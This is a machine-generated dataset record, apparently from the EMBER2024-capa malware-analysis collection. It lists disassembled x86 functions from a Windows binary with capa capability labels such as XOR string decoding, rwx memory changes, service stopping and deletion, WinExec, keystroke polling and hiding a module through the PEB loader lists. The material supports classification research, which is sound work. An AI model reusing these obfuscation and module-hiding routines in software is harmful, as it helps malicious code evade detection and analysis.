joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003c0e0
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b6df0
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov al, byte [edi + 4]
test al, al
jne 0x1003c1c9
mov dword [0x101eee34], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp byte [edi + 5], 0x6f
mov dword [0x101eede8], eax
je 0x1003c179
mov edx, 0xa7
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x100d13c0]
xor al, dl
mov byte [ebp + ecx - 0x4c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1003c140
mov byte [ebp - 0x3d], 0
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], 0
call fcn.10086360
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x10086310
lea eax, [ebp - 0x50]
push eax
push 0x40
push 0x11
push 0x101eee10
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movups xmm0, xmmword [edi + 7]
movups xmmword [0x101eee10], xmm0
mov al, byte [edi + 0x17]
mov byte [0x101eee20], al
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x50]
push 0x11
push 0x101eee10
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [edi + 0x18]
mov dword [0x101eee60], eax
movzx eax, byte [edi + 0x1d]
mov dword [0x101eee04], eax
jmp 0x1003c2e9
movzx eax, al
dec eax
cmp eax, 5
ja case.default.0x1003c1d6
jmp dword [eax*4 + 0x1003c304]
push 0x1388
push 8
jmp 0x1003c2d0
push 0x1388
push 9
jmp 0x1003c2d0
mov edx, 9
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.RNA_.MQXI5_va9nrru_qAX]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x28
jb 0x1003c200
mov byte [ebp - 0x14], 0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x3c]
push 0x1388
jmp 0x1003c2d5
mov edx, 0x2d
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.vjbgwai]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x25
jb 0x1003c240
mov byte [ebp - 0x17], 0
mov dword [ebp - 4], 2
lea eax, [ebp - 0x3c]
push 0x1388
jmp 0x1003c2d5
mov edx, 0xaf
xor ecx, ecx
mov al, byte [ecx + 0x100d1424]
xor al, dl
mov byte [ebp + ecx - 0x38], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x23
jb 0x1003c274
mov byte [ebp - 0x15], 0
mov dword [ebp - 4], 3
lea eax, [ebp - 0x38]
push 0x1388
jmp 0x1003c2d5
cmp dword [0x101e6ea0], 0
jne 0x1003c2e9
push 0
push ecx
push 0
push 0x10087e30
push ecx
mov dword [0x101e6ea0], 3
call fcn.10087790
add esp, 0x14
jmp 0x1003c2e9
push 0x1388
push 0xd
call fcn.10081020
push eax
push ecx
mov edx, 1
mov ecx, 0x101ed1c0
call fcn.10087460
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
Function at 0x1003c670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b6e40
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
movzx eax, byte [esi + 4]
mov ecx, str.r_jj
push eax
call fcn.100875e0
push eax
push 0
push 0x101e8050
call fcn.10080ba0
movzx eax, byte [esi + 4]
add esp, 0x10
cmp eax, 0xf
ja case.default.0x1003c6c7
jmp dword [eax*4 + 0x1003c878]
push 0x1388
push 0xe
jmp 0x1003c844
push 0x1388
push 0xf
jmp 0x1003c844
push 0x1388
push 0x10
jmp 0x1003c844
push 0x1388
push 0x11
jmp 0x1003c844
push 0x1388
push 0x12
jmp 0x1003c844
push 0x1388
push 0x13
jmp 0x1003c844
push 0x1388
push 0x14
jmp 0x1003c844
push 0x1388
push 0x16
jmp 0x1003c844
push 0x1388
push 0x18
jmp 0x1003c844
push 0x1388
push 0x19
jmp 0x1003c844
push 0x7d0
push 0x64
jmp 0x1003c844
mov edx, 0x15
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.NUqtoAVHie]
xor al, dl
mov byte [ebp + ecx - 0x48], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x34
jb 0x1003c760
mov byte [ebp - 0x14], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x48]
push 0x1388
jmp 0x1003c849
mov edx, 0x51
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100d1480]
xor al, dl
mov byte [ebp + ecx - 0x44], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x30
jb 0x1003c7a0
mov byte [ebp - 0x14], 0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x44]
push 0x1388
jmp 0x1003c849
mov edx, 0x54
xor ecx, ecx
mov al, byte [ecx + 0x100d14b4]
xor al, dl
mov byte [ebp + ecx - 0x44], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2e
jb 0x1003c7d4
mov byte [ebp - 0x16], 0
mov dword [ebp - 4], 2
lea eax, [ebp - 0x44]
push 0x1388
jmp 0x1003c849
mov edx, 0x9b
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x100d14e4]
xor al, dl
mov byte [ebp + ecx - 0x48], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x32
jb 0x1003c810
mov byte [ebp - 0x16], 0
mov dword [ebp - 4], 3
lea eax, [ebp - 0x48]
push 0x1388
jmp 0x1003c849
push 0x1388
push 0x15
call fcn.10081020
push eax
push ecx
mov edx, 2
mov ecx, 0x101ed2e8
call fcn.10087460
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
Function at 0x1003ceb0
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c0
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
mov ebx, ecx
call fcn.10084f30
cmp dword [0x101eee28], 0
jne 0x1003d0c2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x101eee28], eax
mov word [ebp - 0x2bc], 0x5c1
call fcn.1009de24
and eax, 0x800000ff
jns 0x1003cf06
dec eax
or eax, 0xffffff00
inc eax
cmp dword [0x100e69ec], 0xffffffff
mov byte [ebp - 0x2ba], al
mov byte [ebp - 0x2b9], 3
mov byte [ebp - 0x2b8], bl
je 0x1003d0b7
cmp byte [0x101e6a20], 0
je 0x1003d0b7
mov word [ebp - 0x2b4], 0x9bc1
call fcn.1009de24
and eax, 0x800000ff
jns 0x1003cf4f
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x2b2], al
xorps xmm0, xmm0
mov byte [ebp - 0x2b1], 3
mov byte [ebp - 0x2b0], bl
movq qword [ebp - 0x2af], xmm0
mov word [ebp - 0x2a7], 0
mov byte [ebp - 0x2a5], 0
movq qword [ebp - 0x2a4], xmm0
mov word [ebp - 0x29c], 0
mov byte [ebp - 0x29a], 0
test esi, esi
jne 0x1003cfad
push 0x40
lea eax, [ebp - 0x299]
push esi
push eax
call fcn.10090bb0
add esp, 0xc
jmp 0x1003cfd8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x299], xmm0
movups xmm0, xmmword [esi + 0x10]
movups xmmword [ebp - 0x289], xmm0
movups xmm0, xmmword [esi + 0x20]
movups xmmword [ebp - 0x279], xmm0
movups xmm0, xmmword [esi + 0x30]
movups xmmword [ebp - 0x269], xmm0
push 0x40
lea eax, [ebp - 0x259]
push 0
push eax
call fcn.10090bb0
add esp, 0xc
test edi, edi
je 0x1003d054
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1003d054
push 0x104
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x1003d04d
lea ecx, [ebp - 0x214]
mov word [ebp - 0x2bc], 0x7325
mov byte [ebp - 0x2ba], 0
call fcn.10087230
push eax
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x259]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x259]
mov ecx, str.rj_j
push eax
lea eax, [ebp - 0x299]
push eax
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x2af]
push eax
movzx eax, byte [ebp - 0x2b0]
push eax
call fcn.100875e0
push eax
push 0
push 0x101e8050
call fcn.10080ba0
movzx eax, byte [ebp - 0x2b3]
add esp, 0x20
push eax
lea eax, [ebp - 0x2b4]
push eax
call fcn.100021e0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x2bc]
call fcn.1003c670
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
Function at 0x1003d0e0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, 0x49
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + str.:__8__8_q]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x10
jb 0x1003d100
push 0
lea eax, [ebp - 0x18]
mov byte [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x10086310
jmp dword [pe_dos_header]

Function at 0x1003da30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x75
xor eax, eax
mov dl, byte [edi + eax + 0x54167d4b]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xc
jb 0x1003da41
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1003da70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xc1
xor eax, eax
mov dl, byte [edi + eax - 0xa13f9f6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xc
jb 0x1003da81
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1003e370
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x1003e410
push ebx
mov bl, byte [0x101eec46]
mov bh, byte [0x101eec45]
cmp edx, 0x20
jb 0x1003e3fb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1003e39f
dec ecx
or ecx, 0xffffffe0
inc ecx
mov edi, edx
sub edi, ecx
movsx ecx, bl
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bh
pshufd xmm1, xmm0, 0
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
nop
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1003e3d0
pop edi
cmp eax, edx
jge 0x1003e40f
nop
mov cl, byte [eax + esi]
xor cl, bl
sub cl, bh
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1003e400
pop ebx
pop esi
ret
Function at 0x1003e422
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x1003e4c0
push ebx
mov bl, byte [0x101eec45]
mov bh, byte [0x101eec46]
cmp edx, 0x20
jb 0x1003e4ab
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1003e44f
dec ecx
or ecx, 0xffffffe0
inc ecx
mov edi, edx
sub edi, ecx
movsx ecx, bl
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bh
pshufd xmm1, xmm0, 0
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
nop
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1003e480
pop edi
cmp eax, edx
jge 0x1003e4bf
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, bh
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1003e4b0
pop ebx
pop esi
ret
Function at 0x1003f850
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
cmp byte [0x10232dec], 0
jne 0x1003f92e
mov eax, str._Wn__
mov byte [0x10232dec], 1
sub eax, 0x4f5a946
lea ecx, [ebp - 0xc]
push eax
call fcn.1007cbe0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1003f8b5
push 0x5deeb865
lea ecx, [ebp - 0x18]
call fcn.1007cc50
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1003f8b5
mov al, 1
jmp 0x1003f8b7
xor al, al
test al, al
je 0x1003f92e
push 0x8feff894
lea ecx, [ebp - 0x18]
mov dword [ebp - 0xc], 0x6c64746e
mov word [ebp - 8], 0x6c
call fcn.1007ccd0
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
xorps xmm0, xmm0
xor eax, eax
movq qword [ebp - 0x18], xmm0
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov word [ebp - 0x10], ax
mov byte [ebp - 0xe], al
test edx, edx
je 0x1003f92e
mov al, byte [edx]
cmp al, 0xe9
je 0x1003f90f
cmp al, 0xeb
jne 0x1003f92e
mov ecx, dword [edx + 1]
lea eax, [edx + 5]
add ecx, 5
mov dword [0x10232040], eax
add ecx, edx
mov edx, 0x1003f840
push 5
call fcn.10086030
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret

Function at 0x1003f940
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0xf003f
push 0
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x1003f9a3
push 0x2c
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x1003f9a3
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1003f9b8
push str.Service_stopped._n
call fcn.1003e9e0
add esp, 4
push esi
call edi
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
push str.Error_stopping_service._n
call fcn.1003e9e0
add esp, 4
push esi
call edi
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
xor ecx, ebp
pop esi
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret

Function at 0x1003f9e0
Capabilities:
Delete service

Disassembly:
push ecx
push esi
push edi
push 0xf003f
push 0
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x1003fa31
push 0xf01ff
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x1003fa31
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x1003fa3a
push str.Service_deleted._n
call fcn.1003e9e0
add esp, 4
push esi
call edi
mov eax, 1
pop edi
pop esi
pop ecx
ret
push str.Error_deleting_service._n
call fcn.1003e9e0
add esp, 4
push esi
call edi
pop edi
or eax, 0xffffffff
pop esi
pop ecx
ret
Function at 0x1003fa90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x101ef080]
test esi, esi
je 0x1003faee
push edi
mov edi, dword [esi + 0x3c]
lea eax, [ebp - 4]
push eax
push 4
push 0x40
push esi
add edi, esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1003faca
xorps xmm0, xmm0
movups xmmword [esi], xmm0
movups xmmword [esi + 0x10], xmm0
movups xmmword [esi + 0x20], xmm0
movups xmmword [esi + 0x30], xmm0
test edi, edi
je 0x1003faed
lea eax, [ebp - 4]
push eax
push 4
push 0xf8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1003faed
mov ecx, 0x3e
xor eax, eax
rep stosd dword es:[edi], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1003fb00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push edi
mov edi, dword [0x101ef080]
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1000
push 0
push edi
call fcn.10090bb0
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1003fb70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x101ef080]
test esi, esi
je 0x1003fbe8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x1003fbe8
cmp ecx, esi
jne 0x1003fbdf
mov edx, dword [eax + 4]
test edx, edx
je 0x1003fba1
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1003fbad
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x1003fbb9
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x1003fbc6
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x1003fbd2
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x1003fbdf
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x1003fb92
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003fbf0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1003fc2e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1003fc32
cmp edx, esi
jne 0x1003fc17
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1003fc52
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1003fc56
cmp edx, esi
jne 0x1003fc3b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1003fc76
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1003fc7a
cmp edx, esi
jne 0x1003fc5f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100464f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 8]
mov edi, eax
and edi, 7
je 0x10046513
cmp eax, edi
jge 0x1004650b
call fcn.10045e70
mov ecx, edi
shr dword [esi + 0xc], cl
sub dword [esi + 8], edi
mov ecx, dword [esi + 8]
xor edi, edi
test ecx, ecx
jle 0x10046538
mov edx, dword [esi + 0xc]
nop
mov al, byte [esi + 0xc]
sub ecx, 8
mov byte [ebp + edi - 4], al
inc edi
shr edx, 8
mov dword [esi + 0xc], edx
test ecx, ecx
jg 0x10046520
mov dword [esi + 8], ecx
cmp dword [esi + 8], 0
je 0x10046555
push 0x1036
push str.f:3_supper_tools_bandicam_bdcam_2024_srcclientiantihack.._.._Client_iAntiHack_d3dhook_imgui_stb_image.h
push str.a__num_bits__0
call fcn.1009dd6d
add esp, 0xc
cmp edi, 4
jge 0x10046577
mov edx, dword [esi + 4]
mov eax, dword [esi]
nop
cmp eax, edx
jb 0x10046568
xor cl, cl
jmp 0x1004656d
mov cl, byte [eax]
inc eax
mov dword [esi], eax
mov byte [ebp + edi - 4], cl
inc edi
cmp edi, 4
jl 0x10046560
mov eax, dword [ebp - 4]
movzx ecx, byte [ebp - 1]
movzx edi, ah
movzx eax, al
shl edi, 8
add edi, eax
shl ecx, 8
movzx eax, byte [ebp - 2]
add ecx, eax
mov eax, edi
xor eax, 0xffff
cmp ecx, eax
je 0x100465a5
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
add eax, edi
cmp eax, dword [esi + 4]
ja 0x1004659d
mov edx, dword [esi + 0x10]
lea eax, [edx + edi]
cmp eax, dword [esi + 0x18]
jbe 0x100465c8
push edi
mov ecx, esi
call fcn.10045fc0
add esp, 4
test eax, eax
je 0x1004659d
push edi
push dword [esi]
push dword [esi + 0x10]
call fcn.10090630
add dword [esi], edi
add esp, 0xc
add dword [esi + 0x10], edi
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1004d680
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
movss xmm1, dword [0x100d68d0]
sub esp, 0x14
xorps xmm0, xmm0
push esi
mov esi, ecx
call fcn.100153e0
mov edx, dword [0x101eec48]
mov eax, dword [edx + 0x3e30]
movss xmm0, dword [eax + 0xd4]
subss xmm0, dword [eax + 0x10]
addss xmm0, dword [eax + 0x5c]
mov byte [eax + 0x90], 1
mov eax, dword [edx + 0x3e30]
subss xmm0, dword [0x100d6810]
movss xmm1, dword [eax + 0x10]
subss xmm1, dword [eax + 0x5c]
addss xmm1, xmm0
movss xmm0, dword [eax + 0xec]
comiss xmm0, xmm1
movss dword [eax + 0xd4], xmm1
jae 0x1004d6f2
movaps xmm0, xmm1
movss dword [eax + 0xec], xmm0
lea eax, [ebp - 0x10]
movaps xmm0, xmmword [0x100d6f60]
push 0x100ce100
push eax
movups xmmword [ebp - 0x10], xmm0
call fcn.10031180
add esp, 8
xor ecx, ecx
call fcn.1000aa90
test al, al
je 0x1004d7c1
xor ecx, ecx
call fcn.100164f0
mov eax, dword [0x101eec48]
movss xmm0, dword [eax + 0x3bcc]
mulss xmm0, dword [0x100d682c]
call fcn.10013a00
push ecx
xor edx, edx
mov ecx, str.User_manual__nHng_dn_s_dng_
call fcn.10030ca0
add esp, 4
call fcn.10013a80
mov eax, dword [0x101eec48]
mov eax, dword [eax + 0x3e30]
test dword [eax + 8], 0x2000000
jne 0x1004d786
push 0x22f2
push 0x100ca27c
push str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call fcn.1009dd6d
add esp, 0xc
call fcn.10012eb0
push dword [0x101e76e4]
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1004d7ba
cmp byte [0x101e76e8], 0
jne 0x1004d7c1
push esi
mov byte [0x101e76e8], 1
call fcn.1009ec44
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
mov byte [0x101e76e8], 0
pop esi
mov esp, ebp
pop ebp
ret